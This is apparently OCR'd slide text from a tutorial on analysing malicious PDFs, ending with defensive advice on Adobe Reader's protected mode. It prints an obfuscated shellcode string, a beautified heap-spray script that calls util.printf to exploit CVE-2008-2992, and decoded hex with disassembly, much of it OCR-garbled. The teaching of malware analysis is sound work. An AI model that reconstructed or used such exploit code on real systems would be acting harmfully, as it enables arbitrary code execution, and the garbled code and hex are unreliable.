u98b9%u7abbFuT7l78%3u99473ufd69%uTe96%u0d66Fudfb03u7227%u2a7d%ulce2%ud49b3u9%1d5%u323d%u24£9%ulbadiu67d4%u3770%
u3476%u4048%uf513%ubea9%udaldsu90bafula’biuldel 3u05bl3u2573%udbbf3u75773u090d%uf8dl3ud679%ueb3a%u742f3u3clcd
u30b5%u02e3%u3feliueb8ctud®7413uT7ab73%u7249%u9%922c%u74bb%udd35%ud271%ul87ctubddétul2d773ub2bB8%ue2813ud239%9%ulbel®
ude7d3u0B876%ub3fctu287Tbiu2%e1%ud3e3%ub69fFuTead3u7927%u253f%5u93b75udf98%3uld473%ubefd3u70b4%ub80d3u2c7£5u3d9f%
ulc78%udl12fFuf8873ul0575%ubl463ud0b5%u35d4%ub9%49%ubad2%uddbb3ulbid3fuded6iuf9cliul2dbfiub60ctu994biub334%uda2ds
u3cf5%u6704%ud790%uldd5%u979b%u96b0%ud892%u37a8%ufcb2%udd?]1 Subbedfud0553u%7eb%u74d9%ufd24%u2958%ublc9%u3149%
1l958%ub803%uB319%ufce8iu2bb73uT7f17%uctbe?udle8%udfaldfublidsu3df2%ue045%u3fc2%u090b%ul2a9%ufabifubadfiu2bef%
u9d55%uacfetnu2158%uefactuddfbiualafFudedbiubé7f3ul181a%139%9%d%ufldefue8ed3u767e3u30af3ub87£23u09%biudd073ufd7c®
udchbdfuaeactul7ca®ucdb43u07943u0964%uT4deTEn262fFule33tuecactueflaiucedliucecliuc32ciulel92uldcBatubcboiucleds
ub776%uld92%u2af3ftudb34tuBealdtuldacdiudd3biuf7catul232%ul6cfiu389735ud3ebiuefl 63ud77d3ul2b3ctuB325%u6abdsub283%
ubch23udabbiuebcbtFulfdetuab70sufcf6Fubededueb073u25d9%1u3435%ua271%ubd75%u355f%1u9479%1a927%ul784%ue357%u4d342%
u9%bh07%uect3tubbeoinif98biulcd2iu9223%ufel2231d283%ul6catubelctulBeatudbebstinue3B02u75813ub1488ueebbiua9725ub247%
udffhFubaldiudBadiuc3baiu?3f£43ulbibiude233u875cfulec7En6012%ulca2%ud0c3tueff9%u9%42%uladdtulacbiudcd2%ual3cs
ue9d83u6dibiudce23%uadd7Eu9fbl3uc97fFu20665%u9f80%u203£f3ud7e8%u731b%ud80d3ueTbb6iuld9%eitube3Biubs72%ubcb03uflads
ufffEu0398%u763ctuBlebtufc3idsudads") ;

var XIwxEmYmNstk¥YzbhHbiuUmolUstMtthGaSomnFGFD ="";

for (RpzfETHOLCWCMxSASQBONnnkY jkC=128 ;RpzfETHOLCWCMxSASOBONnnkY jkC>=0;——
RpzfETHOLCWCMXSASQBONNnkY jkC) XIwxEmYmNstkYzbhHbiuUmclUstMtthGaSomnFGFD += unescape ("%udf£93%ud091") ;

vioanbLFJIViLYRALY1WgSMFqFsOLNHAVCPEvSKT1smKcUL £ £QDriMWGUXTADLIWEVTN =
HIwxEmYmNstkYzbhHbiuUnoelUstMtthGaSomnFGFD +
WmgTWOoauvhsaUdedOpvIeBLzbujcuglihNPBfTemYKgphtiRa jIMuuVIbzaHyMue zxmv ;

OMamYoXtVHAY 1 br¥QtwYgSqIJFEFULtEvEwhLkOTwel sWbaumtOgkQIj = unescape ("3udf93%ud091") ;

uzWWhzodrw¥YeNIXnl i KbvTdeQokm¥XlwinFZsBapfsrimwY = 20;

m

Text |HexDu.mp| Stream Details |

Message

Parsing Complete Objects: 7 Elapsed Time: 0.157 seconds
0xDE8 bytes after end of last cbject @ ocffset 0xl39¢

Errors | Search Debug (2)

Embeds: Pages: 1 ITF: O U3D: 0 flash: 0O UnkFlt: O Action: 1 BRC: 0O

= —m\_/u
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7 Objects I

2 HLen: Ox2E :)‘r?f Cross reference table
S oens e 0000000000 65535 £ <1st Object in this table> <Number of objects in this table>
& HLen: 0x38 0000000017 00000 n <byte offset to object in file> <generation number> <flag> (n = in use f = free)
& 0x20C-0x1384 0000000137 00000 n
0000000198 00000 n
0000000270 00000 n
0000000356 00000 n

0000000425 00000 n
trailer<</Si#7a#65 7/Roo#74 1 0 R>>
startxref

6553

FZEOF

Text | HexDump | Stream Detailsl I

Message

Parsing Complete Objects: 7 Elapsed Time: 0.157 seconds
0xDE8 bytes after end of last cbject @ ocffset Oxl35&

Errorsl Search Debug (2) I

Zhell | PDF Path IC:\Users\Gh’illiams\Documants\Suspec:t PDF\malicious.pdf

| Load | Lbort |

2

[ s
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Javascript (beautified)

var Varl=unescape(”“.... i ———— T e
~~—__payload
var Var2= ", .~ Creates ND
For ( x=128; x>=0; --x) Var2 += unescape(”.....-—”-)-,—_gjffPayload ~—___sled
Var4 = Var2 + Varl | ————-—- ME@@
Var5 = unescape(“.....”); &
Varé = 20;
Var7 = Var6+Var4.length; Creates heap
while ( Var5.length < Var7) Var5+=Var5; spray >
Var8 = Var.substring(0, Var7); S—

Var9 = Var.substring(0, Var5.length-Var7);

While (Var9.Length+Var7 , 0x40000) Var9 = Var9+Var9+Vars;
Varl0 = new Array();

For ( y=0; y<1450; y++) Var10[y] = Var9 + Var és=—=—
until.printf(“%45000.45000f”, 0);

ayload distributed a
regular intervals in
J\ memory

— Calls vulnerable routine with Adobe
(CVE-2008-2992) Stack-based buffer
overflow execute arbitrary code
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Il Reneo Public v0.1

File Edit Filter Hash Convert Format Transform | Decode/Decrypt | Analyze  Extras

Input Unescape

HTML Decoder
$Ub23d%u34Ta2uT6203uThT2%u99493090b15uds52b MS Script Decoder
$Ub8afEu35928u0d793u98a9%us6b4tuzd153u224a _
$127d4%ubb973uTd053ubE4R3u14 773U 9285u20ba PHP Decoder
gudffgEud09ftudddb " SecureString Decrypter

fuedfesulcd2%ud7913u3chosuss37iud6el2suisld )
$ub7£53udfT35ubadua004%ublfe Character Substitution
(u2474%3uT7241%ude0]lubad3%ul046%u24el%u9993%5uT6bb " Script Decoder
EFuT14fFufo0biuead63udel3zu0d745u05773u9E2d
FuT0b2%ueb083u2 7423078 7d3u3775%ucsl9%3ue3citudllb
$u3se2iuTebsiuadidiud31dsu3fib " Modern Decrypter
F17a79%ue0323udT343ufcibiuickitudeToiudl 495udiia
Fud4d23ubi91%ua9403u92bTsuid23%u3048%u90£8%usdlc
FufS02%3ubfl5%udTheiudT74b3u737h
fubfd23ulch4tubdbliu2f2ctuldT£Eu983d
(ul2b0%u25d5%ue338tua97dsucl £
Fu7ee2iuldT7iu2aTizu3dTi5zuTk7a
(u3a483uf9d3tud2983ubib2iub 7463051 ckuslB8iuT47c &=
Fu67433uT7£79%u1472%ubed4 9508635
$u24d5%3ub0b3%3u2599%u9ebisu3490%uglaf
$ulskb53uffg93u279f3udeddiub4idbiuaiifiuid2ciud74a
tubbaf9%ud3i933udcfciudeibiulda7iuT0e0tulddltuddic
fubikatu7lbb6iusbla
£u9235%u9bA6%133043ubld43uTa75%u2d76%ufd03%uTco2%u
eb29%3u7a343u67793uf6813uThe33uT02T3uTdT7 TEuldTe
fubedlFuf783%3uldel3ub00ciudbb3iztue?l13utd42iuickba
$u3505%ud033%u24£8%ud77E
$uT4bB83u9646%u04a8%ulb73%5u78f5%uell19%ud376%ub72c
$ubl99%ulc71%ude0biudf663ui923%ubs97%u3f41%uafaf
(u2d75%u86373ul0d43uldd5%ul Sbatul 52
fudbb4%udabi%ud3b2tubfi3tu3d72%ufceb
£u9149%ua940%udebbiul2aaiuilid
(u2474%ue389%3u984a73uf9213u72978ud31a%ud Teb
fubibT73u359%%ubfa%3ube2f3uis85%udabs3uifi23ue2sb
$uT7004%u227b%u3Teliudfaf
Fuel80FuTa73i3ufellsucicTiulsdiiuiciisudsze =

Simple Decrypter




Aot us
Lyugt
SO 1um
St bu
1(,*3 :
A8B01Z
1 3wch
syuilh
? )2:;5'\)
K 4"{
hdxyriv
UySduw
yhtcs
2 hs0
Werwsoa
hagsuu
bq-,oac,
huvwba
auiti
aunigt
Dwoun
H>UuUd89e
(d-Y&=31
587;}_19

F:

F) Reneo Public v.1

File Edit Filter Hash
Imput

Convert  Format  Transform

Decode/Decrypt

EubZSd%u34Ta%uTE2c%u?b?:%u9949%u90b1%ud52b
fubf8a8%u35923u0d79%u9%8a9%ud6b4tu2dlsiur2da
$u27d4%ubb378uTd05%ube48%uldTTEUL928%u20ba
Fu2ffBsud09fiusddb
fuedfetulcd2®ud791%u3ckb9%udo37iudee2iuiold
fubT7£5%udf£73%ubf2diut0043ubifc
fu2474%5u7241%ud601%uba933ul046%5u24e1%u9993%uT6bb
fnT714f%5uf90bEues963udel 330047450057 73u9L2d
fuT0b2%ueb083u2T4a%uT87d3u3T775%ucel9%ue3citudllb
fu3Se2iuTebituatidiud3ldiu3ifab
Fu7a79%ue0323ud7343ulfcibiuichitudeTciudl 49%ud00a
fud4d23ubi913uad40%u92bTiufd23%u304853ud0L8%utdlc
(ufS02%ubflo%u9Tbetud74biu737h
fub&d2%ulcbd®ubibliu2f2ctul47£5u983d
ful2b0%u25d5%ue338%u697d%uclft
fu7ee2suld77Eu2a7ITu3TLssuTh7a
fu3adBiuifdizud2?983ubib23ub7463ulSlciusli s
(067433077938 uld72%ubed 9% U863
$u24d5%ub0ib3%u2599%u9ebfitu3dd80%u9l 2
$ul5b5%uffggtu2T953udesdiub4d4dbiuaidftuidiciud 74a
fubka9%uf393%uiciciudesbiulfs7iuT0e0%uld41%ud00c
fub9ba%u7lbb6tusbla
£u92355u9be63u3304%ubldd3uTE758u2dTeEud03%uTc92%u
eb29EuTa345u6T7T795uf6815uTbe3suT02 730747 TEuld e
fubef0%ufT833uldeltub0i0ctudbbitue?lltuidd23uicka
§u3505%ud0333u2dfazud 77
fuT4bE%u9646%u04a8%ulbT33uTEL5%uel19%ud376%ubT 2
$ubl99%ulcTludeibiudBa63uf923%ubi973u3f41%u9s4s
$u2d75%u86373ul0d4%u0dds%ul sbasu2 52
fudbb4%udabi%u93b23ubfi83ul3d72%uictb
§u9149%ua940%udebbiul 26657154

fu2474%0e3898u92 6730921372978 ud31a%ud7eb
(ub9bT3u359b3ubiaf%ube2 f3ufS85iudabsEuTi423ue23b
fuT004%u22TbEu3Teliudfaf
FuelE0%uTa733ufell3uclcTiulsdssuiciEs

Tu747c

Fudsic
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Analyze  Extras

Output
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I Reneo Public v0.1

File Edit Filter Hash Convert Format  Transform
Input
= er Er e BE S SHmR BRI [ AT T P IR B R Do F LN EE R B

EEEEHMEE BIEREHSRIE T VSIS0« 8 5 2 DM S
TORIEHEE 3 5 BHH 7 EhE O S et 2 E'[b*E healZg: 2RI
EEPEEE VIR B RO YR EO- T ESHEEERES
5 73 SRS 1> S i DS D =t Ilf?lﬂaﬁilﬂﬁ-il:ﬁ'@@
EHEPE WM CHR = S SR EE YN EEREI8E of - BE THIR TUEIEL 1 (10
BRRETE B 55 2 R T2 i R 20 BhIRSE R B B 5
20 - S g S T B R R RIR I AR T
(O R (R B DU B R ol B R TR OFE R =t O AR R B 2R T
IRIS0EEIH FIR Y a5 Eot (S DR O R B 2 B
(D i SR RS AT 102 iR E =~ 28R ik

{# HRIOg =g 2B ThaR0= 0= IRO0R SO0 W £ 27

© (MO0 ZHN eigrd 2 W el HES R OY 3 B DY IR 1 00, HiE
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File Edit Filter Hash
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Convert | Format  Transform

Text to Hex

Hex to Text

Text to Decimal

Decimal to Text
Hex to Decimal

Decimal to Hex

Octal to Decimal

Decimal to Octal

Text to Basebd
Hex to Basebd
Basebd to Text
Basebd to Hex

Basebd by Delimiter
Convert Date
Convert IP

Convert IDM
Convert Symbaols
Convert Mixed
Convert Base

Custom Base

Decode/Decrypt  Analyze
Cutput

Extras
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I Reneo Public v0.1
File  Edit
Input

Filter Hash Convert Format  Transform
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Output
» FBEBB?ESElBﬁETEEACETAJBZEEASE9E95231E394ABEBAEAEE3 -

S9092E0BSBOESAZRASESOAR4EPR495E289EAE2 9F94EBAFSTETEL
25EB99EEE1S1BTEFRAARE 2B 2BAE / RFBEE4829FEES18BEEEFEG
EOBl1E22E49EQ]1E3BZBOEE94BTE49BAZEIR49DEROFESE4BDB3IER
BEEDEZE80E4ERBE3BCEZ9]1B4ETE981EDS8E1EBARSSEIE186E293
AIESRAS3ETOABBETE58FEFA48BEG9AS6EDSE93D1B40D5BTESEC
ADETEZB2EEACEEE29DEAETAIBDES9DBSECI899EEBFE0EDE49B
E39T7AZETBABSELROEDE43CODESEBESBETASBAEEE0EZE49CB4EY
BOBBE3EZB3E4BSBCE48589EDE0SAEDS392EBAZ 91 ERASE0ESER
B7EFB4A3E38]188ESE3BEEEB49CEF 948 2EEBCYSESSEBEERSDERE
ETE0BBEE9982E0B2B4EBAGB1EZBCACE]1 91BFESAOBDE]L 8AB0EZ | E
9795EERCEBEEGASBDECE TEFETEBAZEOBSBTE2ASB3IE3SAFBOETAD
BRAESRS8BEFATY3E4BA9BERAPRZERSDE6D49CEEEGEEETI1EBCES
9DB3ETBDBSE]1 91BZEBBA89ER98BFEZ9395ERBE 2B3E29699E990
BFE39290E984AFEl 96BSEFAZE9EZ SESFE4BASDEES18BELR]EF
E3B4ACE49DEAFBAFRASEREESSESBSBCEDSSAREI R STETESR0EL
w BSE1E480ECEBAREAETEABAEERCOAF 98 BBSESADRGESBCE4EBET
S4ETAIBSEZBSEREFB483ETE292EEACRASETARB4EGSDBOEFSAE]L
EVAFA3ETE0ATETBSBTELIBRSBEEEBASOEF9EESEL 93R0ERE0ECES
AERSEEEE91EEBSE2E3BZBAES 948 5EDE0B3EZ93BEE490BFETS2
BEES998602A8E1 ADB3ETAIBSEES499E48DBAERSCACERE 699E]L
B1B1EDS8EBE4R]1 AGEFA4R3ERS69TEIBDE1ESBDEFEZBSBSERDE
BTE1&3594E0B795E196BAE294AFE4RFR4E4RARIEIEERZEEEESS
E3BSBEZEFEBI1ABESESESEARSE0E4BABBE] 20AAETETEDEZ91E4EE
EEESESRIAVEFR4RIETEASTEDECOAE49FARERAGETES 6 9BEBEE
AOERBEAFEFO6ESE4RARSETEDEZEEEEEBETE084E2E9BBE3OFAL
E4BESFEEE280ETASB3EFBEE1ECE38TDT95EFBZE8E4R4RACEARE
B4ESEESOEZ9588E986B3ETE1BEET99BE9988CEBOAB4EZBSE6
ERAE99ERROSSEFAOESEFB4A0E3 68 DEBEBOGETESEBTEZ 9CEDES
2CaDET95BEESE180E3AL S BEBAS94EBE2E1EBASEBDESS894E3ED
E1ETBEDBCESECYCESRZBOETARBRAE T B SBEESASETEFESASETEAS S
D126E4BEROETEEATEZR9BDEOB3AZEES29BESETA5ESE8B0E293
BOEZRAERBEROF94E390BOE3S]1BaE4E]18BEF9493EEBRAROE4RESD
ES82BAE0RSBBE]1 93R1DAB1EZ95B3E4RFERFETS5ETEORLEDEFAS
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I Reneo Public v0.1
File Edit Filter Hash Convert Format  Transform
Input

EB88BDE3I91BAE TS RCETADB2ESASE9ESE2B1EDS4ABERBRZAEES
S692E0BSEBSESAZR9ESOAR4EZR495E2E89EAEZ 9FS4EBAFSTETES
25EB99EEE1S1BTEFRAARE 2B 2RAF 2 RFBEE4829FEE918BEEEFEG
EOBl1E22E49ES]1ESBZBOEE94BTE49BAZESR49DERSFESE4ABDB3ER
BEEDEZE0E4ERE3BCEZ9]1B4ETEO81EDSEE1EBARGSEIE186E293
AIESRRS3ETOABBETE5EFEFA4EBEGYASEEDIE93D1B4D5BTESEC
ADETEZB2EEACEEE29DEAETAI BDES9DBSECI899EEBFE0EDE49E
E397AZETBABSELAOEDE43CODESBESBETASBAEEE0BZE49CB4EF
BOBBE3EZB3E4BSBCE48589EDE0SAEDS392ERBAZ 91 ERASE0ESER
BTEFB4A3E38]188E9E3BEEEB49CEF9482EEBC9SESSEBEERSDERE
E7E20BBEBS982E0B2B4EBAGB1 E2BCACE] 91BFESAOBDE] 2ABOEZ
9795EEECBEEAASBDECE TEFETEBAZEOBSBTE2AOB3IESAFBSETRAD
BRAESRSEEEFATY3E4BASBERAPRZERIDE6D49CEEEGEEETI91BCES
9DB3ETBLBASE]1 91BZEBBA8SER98BFEZ9395EBEZB3E29699E998
BFE39290E984AFE]1 96B5EFAZB9EZ9ESFE4BASDERS1 8BELR] BF
E3B4ACE49DEAERBAERSEEEESIESBSEBCEDSSABEIAZOTETE3A0EL
BSE81E480ECEBAGEAETEABAEERCOAF S8 ERSESADRGESECE4ERET
S4ETAIBSEZBSEAEFE483ETE292EEACASETARB4EGSDBOEFSAE]L
EVAFASETE0ATETBSBTEIBSBEEEBASOEFSEESEL 93R0ERBE0ECES
AERSEEEE91EEBSE2E3B2BAES9485EDE0B3EZ93BEE4090BFETO2
BEES998602ABE1ADB3ETAIBSEEE499E4E0BAERSCACEREA99E]L
B1B1EDS8EBE4RA] AGEFA4RA3ERS69TEIBEDE1ESBDEFEZBSBSERDE
BTEl83594E0B795E196E6E294AFE4RER4E4ARRIEIEERZEEEESS
E3BSEZEFE1ARESESESEARSE0E4BARBE] EO9RGETETEDEZ91E4EE
EEESESAIAVEFRA4RIETEASTEDECOAE4 SFABERAGETES 6 9BEBEE
ASEBRBEAFEFO6E5E4RRRSETEDEZEEZEEBETE0E4E2E9BBE39FAL
E4BESFEEE280ETASBIEFBEE1ECESETDTO5EFBZEEE4R4ACEARE
B4ESEESOEZ9588ESE6BSETE1BEET99B9E9988CEBOAB4EZBSEG
ERAF99ERROS5EFAOE3EFE4A0E3 268 DEBEBOGETESETEZ9CE0ES
gCADET95BEE3SB180E3A] SEBEBRA394EREZB1EBASBDES8894E3ED
21ETBEDBCESECOCESRZBOETARBAE T8 0BEESASE TEFESAOETEAD G
D126E4BEROETEEATEZRSBDEOBIAZEES29BESET95ESE8B0E293
BOEZRAERABEROF94E390BOES 91 BAE4E]1 BBEFO493EEBRAROE4RESD
ES82BAEORASBBE]1 93R1DAB1EZ95B3E4RFERFETS5ETEORA4EDEFAS

91E499B9EERCBAET90RAFESBOSCE3 2 2BSCEASESBFACEERERCES
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I Reneo Public 0.1

File Edit Filter Hash
Input

Conwvert

EBSEBLE391BAET98ACETADBZESLDE0E
9652E0BSESESRAZAOESSRAR4EZR455E28
25EB99E8EBE1S1BTEFRA4LBEZB2BAEZBFE
EOB1E2E49ES1E3BZB9EE94BTE49EAZE
BEEDEEE0B4EBE3BCEZ91B4ETE9E1EDS
AIESRRSSETSABBETESEFEFR48BERQAS
ADETEZB2EELCEEE29DEAETAIBDESSLE
E387RZETBARSERROBDE48CS0DEIBESEE
BOBBE3EZB3E4BSBCE4E8589EDE0EAEDS
BTEFB4A3E3E18EESE3BEEEB49CEF948
E780BBEBA9EZE0BZB4EBAGBI1 EZBCACE
9795EEECEEEGASBDECE TEFETBBAZEOE
BRAESRSEEEFATI3E4BASBERBAZRIERADE
9D83ETBDBSE191BZEBBA89EE98BFEZD
BFE39290E984AFE1 96BoEFAZB9E29ES
E3B4ACE49DEAERAFASESSESSEIE3ECE
BSE1E4808CEBAGEAR TS 6BAEERCIRESE
94ETAIBSEZESEREFE483ETE292EERCE)
ETAFRAZETEOATETESBTE1BSBEEEEBASOE
AFRSEEEE91EEBSE82EIBZBRAESO485EDE
BEES9986D2ABEIADBIETAIBSEEZ4959E
BIB1EDS88BE4RI AGEFA4R3EBIGITESE
BTE18394E0BT95E196B6E294AFE4RER
E3BSEZEFBI1ABESE5E9ERRSE0E4ABRAREE
ZEESESAIATEFR4RIETERASTEDECSAELD
ASEBBEAFEFO6ESE4RRBSETBDEZEEEE

E4ABESFEEE280ETASB3IEFBEE1ECESETD
B4ESEESOEZ29588ES86B3SETE1BEE TS99

Format | Transform

Hex Format - %

Hex Format - %u (BE)

Hex Format - %5u (LE)

Hex Format - %aull

Hex Format - % (BE)

Hex Format - Y (LE)

Hex Format - 4wl

Hex Format - '

Hex Format - Ox

Hex Format - &#x

Hex Format - Unicode (BE)
Hex Format - Unicode (LE)
Hex Format - Colon

Hex Format - Space

Hex Format - Comma

Decirmal Format - Chridec)
Hex to UCS2

UC52 to Hex

Text to ASM Hex

Text to Reverse Hex

Unicode to Hex

EBAESSERRAQSSEFRAOE3IEFB4A0E3 S 68 [EDTD o roo DT SCODE Y
gCS0ETA5BEESB180E3A] AEBEBAIS4ERE2B1 EBASBDES8894ESED
glETEDBCESECOCESAZBOETARBEE T8 0BEESASETEFBOASETBAS G
D1AAE4BEROETEEATEZRSEDEOBSAZEES29BESETA5ESEEEBDE293
BOEZREABEAOF94E390BOEIS1BAE4E]12BEFO493EBBALOE4ARESD
E98ZBRAEOASBBE]193AIDEB1EZ295B3E4RFERFETA5ETEOL4EDEFAS
91E499B8EERCBAETI0AFESBO9CE3E2ZB5CBASESBFAOEERERCES

Decode/Decrypt  Analyze  Extras
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I Reneo Public v0.1
File Edit Filter Hash
Input

Convert Format  Transform

EBS8BDEI91BAETO8ACETADB2ESASESESE 2E1EDS4ABEBRZABES -
S652E0BSESESR2AO9ESSRAR4E R4 95E28 98 AE29FS4EBARSTETEL
E5EBS98BE1 91 BRTEFR4ARE 2B 2BAE?RFBEE4829FEE 91 EBEEEFES
EOB1E2E49ES]1E3BZB9ER94BTE49BAZESR49DEBOFESE4ABDB3ER
BEEDEEE0E4EBE3ECEZ91B4ETE981EDSEE 1 EBARSSELIE186E293
AIESRRSSETSARBETESEFEFA4E3BEGSASGEDSE93D1B4D5BTESEC
ADETEZB2EELCEEE29DEAETAI BDESSDBSECS899EERFE0EDE49E
E38TAZETBARSERROEDE48CODEIBESBETASEOEEE0BZE49CB4EF
BOBBE3EZB3E4BSECE485E9EDE0EAEDSS92EBRAZ ]I ERRSE0ESER
BTEFB4ASE38]1E8EE9E3BEEEB49CEF 948 2EBBCOSES9EEEERSDER
E780BBEB99E82E0B2B4EBAGB1 EZBCACE] 91BFESAOBDE] BRABOEZ
9T795EEECBEEGASBDECE TEFETBEBAREOBSBTE2ROBIE3SFBSETAD
BAESRASEBEFATS3E48A9EERA2B2ERSDE6D4 9CEEEGEEETI1BCER
9DE3ETBDBSE]191B2EBEBA89ER98BFEZ95395EBEZB3E29699E998
BFE39290E984AFE]1 96B5EFA2 8 9EZSESFE4BABDER9]1 SBELDR] BF
E3B4ACE49DEAEBARERSEGEESSESE3IBCEDSSABEIAZ9TETE3A0EL
BSE1E4808CEBAGELAE T S6BEEERACIAFSEEBSESADAGEIECE4ERET
S4ETRAIBSEZESEAEFEB483ETB2 92EERCROETARB4EGSDBOEFOAE]L
E7AFASETE0ATETBSETE1BSBEEEBAS0EFSEESE193A0ERBE08CED

m

AFRIEEE891EEBSE2E3BZBRAES9485EDE0B3EZ93BEE4090BFETA2|

BEESS986D2AEEIADNB3IETAIBOEEE4599E4E80B6ERSCACEREA99E]L
B1B1EDS8EBE4R] RAEFA4R3ERA69TEIBDE 1IESBDEFEZBSBSERAE
BTE183594E0BT95EL16B6EZ94AFE4RFR4E4ARROESEERZERBEDE
E3ESEZEFBIABESESESERRSE0E4BAREE] E9RGETETEDEZS1B4EE
EEESESAIATEFR4ARIETEASTEDECOAE49FARERRGBTES S69EEREE
ASEBBEAFEFO6ESE4RARRSETEDE 2ZEEEEEBETE084E289BBE39FAL
E4BEQFEEE280ETASB3EFBEE1ECE3E8TDT95EFEZEEE4R4ACE4RE
B4ESEESOEZ29588ES86BSETE1BEETS9BE9988CEBAAB4EZBS5EG
EBAF99ERAROSSEFANE 3 EFBE4A0E3 868 0EREESGETBSETEZ9CE0ES
gCADETS5BEESB180E3A] EBEBAI S4ERE 2B1 EBASBDESE894E3BD
g1ETEDBCESECACESRZBOETARBEE T8 0BEESASETEFESASETEBASS
D1AAE4BEROETEEATEZRSBDEORIAREES29BESETA5ESEEEBDE293
BOEZRFERABEAOF94ES90BOES 91 BAE4E]1 2BEFO493EBBAROE4REOD
ES82BAEORASEBE1953A1 DEB1EZ95B3E4RFERFETS5BTEOR4EDEFAS
91E499B9EERCBAET90AFESBOSCESE2BSCEASESBFAOEERERCES
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Live View

Set the platform below. Then watch the disassembly
window update as you type hex bytes in the text area.
You can also upload an ELF, PE, COFF, Mach-O, or
other executable file from the File menu.

Platform: i386

-
.

)

»

EB 866 BDE3 91 BAET 98 ACET ADB2ZE9 A 89 —

EO 82 B1 ED 94 AB EB A2 AS E3 96 92 EO BS B9
E9 A2 AD ED OA B4 E2 B4 95 E2 89 8A E2 9F 94
EB AE 97 E7 B4 85 EB 99 88 E1 91 B7 EF A4 A8

m

E2 62 BAEZ2BF BEE4829FEE 91 8BEEBF BE

EO B1 82 E4 OE 91 E3 B2 BO EE 94 BT E4 0B A2
E3 A4 9D EB 9F B5 E4 BD B3 EB BE 8D ES 80 84
EB 83 BC E2 91 B4 E7 89 81 ED 98 81 EB AA 93
E1 81 86 E2 93 A1 E9 AG 93 ET 9A BB E7 85 8F
EF A4 8B E6 9A 96 ED 98 93 D1 B4 D5 B7 E9 BC
ADET 82 BZEEAC 88 E2 9D BAET A1 BD E3
9D B5 EC 98 99 EE 8F 80 ED 84 9B E3 97 A2 E7
BA B5 EA AD 8D E4 8C 8D ES BE 9B ET A9 BY
EE 80 B2 E4 9C B4 EF BO BB E3 B2 B3 E4 B9 BC
E4 85 89 ED 80 8A ED 93 02 EB A2 91 EA A5 80
E9 8A B7 EF B4 A3 E3 81 88 E9 63 B8 ES B4 9C
EF 94 82 EB BC 95 E9 SE BE EG 9D 8B E7 8D BB
EB 99 82 E0 B2 B4 EB A6 B1 E2 BC AC E1 91 BF
E9 AD BD E1 8A B0 E2 97 95 EE 6C BS E6 AS BD
EC 87 BF E7 BB A2 EC BS BY E2 A9 B3 E3 9F BS

Ef ADBAE3AOBSEFATO3E4 8A 08 EB A2 B2 ~

FER OMN @z MdA O FE Q2 22 FE7 04 R F2 0ol 22 E7

[normal]

Graph Hex Sections File Info
.data:08888088 ebSS3 jmp loc_ffffff8a -
.data: 00800082 bde391bae7 mov ebp,Bxe7ba%9le3
.data:08600607 098 cude L
.data: 08888888 ac lods al,BYTE PTR ds:[esi] 3
.data:peBe8809 e7ad out @xad,eax
.data:pe8e888b b2e9 mov dl,Bxed
.data:@e88888d 25 movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
.data:oe6008662 8920 mov ecx,ebp
.data:eeeeeele 32 (bad)
.data:eeegee1l biled mov cl,@xed
.data:088080813 04 xchg esp,eax
.data:088880814 =zb stos DWORD PTR es:[edi],eax
.data:08800815 ebaz jmp loc_ffffffbo
.data: 06080617 =283 test al,Bxe3
.data: 088080819 06 xchg esi,eax
.data:00008081a 02 xchg edx,eax
.data:0888881b eBbS loopne @xffffffdz2
.data:08808881d b9e9a2afed mov ecx,B8xefa%aed
.data: 0668886822 Sabde2bd95e289 call 8xB8%e2:0x95bde2bd
.data:00000029 S22 mov ah,dl
.data:eeeeae2b of laht
.data:0880882Cc 04 xchg esp,eax
.data:0880882d ebae jmp loc_ffffffdd
.data:0888882f o7 xchg edi,eax
.data:060800638 e7b4a out Bxb4,eax
.data: 088008832 B85eb test ebx,ebp
.data:008008834 09 cdg
.data: 00868635 88e1 mov cl,ah
.data:68888837 o1 xchg ecx,eax
.data:oe600038 b7ef mov bh,@xef
.data: 08888832 24 movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
.data:eee0003b a8e2 test al,Bxe2
.data:0880083d 82 (bad)
.data: 0000003 bae2bfbge4d mov edx,BxedbB8bfe2
.data:eeeE0043 82 {bad)
.data:@e600644 Of laht
.data: 008000845 e8918beesf call loc_8fee8bdb
.data:p0B0864a bEed mov dh, 8xed
.data:pe6e8684c bl32 mov cl,B8x32
.data:peB00684e e49e in al,@x%e
.data:ee600058 o1 xchg ecx,eax
.data:08888851 e3b2 jecxz loc_ 00000005
.data:00000053 b9e804b7e4 mov ecx,Bxedb7o4e8
.data:@eB8086858 Ob fuait
.data: 00000059 az2e3a349deb mov ds:@xeb9dade3,al
.data:B8060065e Of laht
Ant ~ ARAAAAr L Lraa TR S T |

4 LI
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Protecting yourself

Enable automatic updates.
Disable PDF browser integration.

Always install the latest patch/update, even for older
Adobe product versions.

Disable JavaScript.

Uncheck “Allow non-PDF file attachments with external
applications” to prevent launch action vulnerability.

Use PDF alternatives such as Foxit, Sumatra, PDF XChange.
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Adobe features

* There are features built into Adobe Acrobat and Adobe
Reader that will help you keep your computer safe.

— Protected View

— Protected Mode

* Only available on the Windows version of Acrobat Xl| or
Reader XI.
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Best practise

A malicious PDF file can only do damage when it can "talk" the
world outside of the PDF file.

Adobe allows you to prevent that by placing Acrobat or Reader
and the PDF file in question into a "sandbox

This will separate the PDF file (and any potential malicious code
in it) from the rest of your computer and the world.

For added security, Acrobat Reader DC contains a protected
mode and protected view to keep your computer safe.

With Protected Mode enabled, all operations required by
Acrobat Reader DC to display the PDF file are run in a restricted
manner inside a confined environment, the “sandbox.”
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Protected mode

In protected mode, malicious PDF documents can’t launch
arbitrary executable files or write to system directories or
the Windows Registry.

* Enable Create Protected Mode Log File to record events.

— The changes take effect the next time you start the application.

* Click View Log to open the log file.
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Reader Xl|

* "Sandbox Protections" settings
— go to Preferences (Edit>Preferences or Ctrl-K),
— then select the "Security (Enhanced)" category.
— "Enable Protected Mode at Startup”
* make sure that this is checked.
* To be extra cautious, turn on "Protected View"

— disable most features in Reader
» for all PDF files, or
 for files from a potentially unsafe location
— Once viewed and decided it is trustworthy

* C(Click on the button "Enable All Features"
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Acrobat XI vs Reader Xl

* With Acrobat Xl there is no Protected Mode,

e your only line of defence is the Protected View, which
you'll find in the same location as in Reader XI:

— Open Preferences (Edit>Preferences or Ctrl-K),
— then select the "Security (Enhanced)" category and

— go to the "Sandbox Protections" box.
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summary

e As PDF support many dynamic features it allows the
opportunity to incorporate malicious code

* |t attackers the viewer application and host system
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summary

* You can protect yourself by

Never open unexpected attachments or attachments on
suspicious email

Keep your systems up to date and patched

Using up to date AV software
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summary

* For penetration testers and investigators

Understand the protocols, formats and methodologies
employed within documents and applications

